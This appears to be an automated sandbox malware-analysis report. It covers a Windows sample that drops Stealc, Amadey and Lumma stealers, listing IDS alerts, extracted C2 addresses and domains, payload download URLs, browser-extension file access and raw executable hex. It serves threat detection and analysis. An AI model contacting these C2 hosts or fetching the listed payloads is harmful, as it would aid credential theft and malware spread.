2024-11-16T19:23:15.784921+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50124	188.114.96.3	443	TCP
2024-11-16T19:23:29.417761+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-16T19:23:30.586897+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50147	188.114.96.3	443	TCP
2024-11-16T19:23:33.207085+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50149	188.114.96.3	443	TCP
2024-11-16T19:23:42.970792+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50160	188.114.96.3	443	TCP
2024-11-16T19:23:54.887612+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50215	188.114.96.3	443	TCP
2024-11-16T19:23:57.364173+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50226	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:14.360707+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50122	188.114.96.3	443	TCP
2024-11-16T19:23:29.417761+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-16T19:23:54.887612+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50215	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:15.784921+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50124	188.114.96.3	443	TCP
2024-11-16T19:23:30.586897+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50147	188.114.96.3	443	TCP
2024-11-16T19:23:57.364173+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50226	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:34.149149+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50152	185.215.113.16	80	TCP
2024-11-16T19:23:43.906164+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50162	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:14.444128+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50123	185.215.113.43	80	TCP
2024-11-16T19:23:19.591395+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50128	185.215.113.43	80	TCP
2024-11-16T19:23:23.330298+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50133	185.215.113.43	80	TCP
2024-11-16T19:23:33.375275+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50150	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:22:05.259228+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:22:05.251254+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:22:05.534038+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:22:06.628657+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:22:05.541969+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:17.453665+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50126	188.114.96.3	443	TCP
2024-11-16T19:24:05.702727+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50248	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:22:04.971640+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T19:23:20.745213+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50129	185.215.113.206	80	TCP
2024-11-16T19:23:39.716580+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50157	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:06.796820+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50077	185.215.113.43	80	TCP
2024-11-16T19:28:40.771262+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50937	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:13.541604+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50090	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:10.149085+0100	2803305	3	Unknown Traffic	192.168.2.5	50096	185.215.113.16	80	TCP
2024-11-16T19:23:15.360950+0100	2803305	3	Unknown Traffic	192.168.2.5	50125	185.215.113.16	80	TCP
2024-11-16T19:23:24.264989+0100	2803305	3	Unknown Traffic	192.168.2.5	50134	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:22:07.553150+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-16T19:22:27.919097+0100	2803304	3	Unknown Traffic	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:29.373184+0100	2803304	3	Unknown Traffic	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:30.174928+0100	2803304	3	Unknown Traffic	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:31.018168+0100	2803304	3	Unknown Traffic	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:33.143816+0100	2803304	3	Unknown Traffic	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:33.939354+0100	2803304	3	Unknown Traffic	192.168.2.5	49770	185.215.113.206	80	TCP
2024-11-16T19:22:38.728219+0100	2803304	3	Unknown Traffic	192.168.2.5	49904	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T19:23:26.709602+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50143	188.114.96.3	443	TCP
2024-11-16T19:23:40.204041+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-16T19:24:07.208160+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50253	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllv	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exeQ	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/w)	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exerDF	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpD	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/:j	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll;(	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe;	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllA	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/q	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/Microsoft	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeS	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll_4	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000014.00000002.2597591195.00000000001E1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7340.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: e7dea42e57.exe.8940.23.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["3xp3cts1aim.sbs", "p10tgrace.sbs", "processhol.sbs", "p3ar11fter.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C666C80

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.13:443 -> 192.168.2.5:50348 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: e7dea42e57.exe, 00000017.00000003.3041458745.00000000085E0000.00000004.00001000.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000002.3114510167.00000000065F2000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000002.3254603579.0000000005A32000.00000040.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.3154915667.0000000007BA0000.00000004.00001000.00020000.00000000.sdmp, b39ed05e31.exe, 0000001D.00000002.3086692205.0000000000C12000.00000040.00000001.01000000.00000011.sdmp, b39ed05e31.exe, 0000001D.00000003.2953327851.0000000005240000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 18MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50090
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50123 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50077 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50128 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50129 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50133 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50150 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50157 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50937 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50124 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50124 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50122 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50122 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50126 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50146 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50146 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50160 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50147 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50147 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50149 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50158 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50143 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50215 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50215 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50226 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50226 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50248 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50253 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.5:50881 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 18:22:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 16 Nov 2024 18:22:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 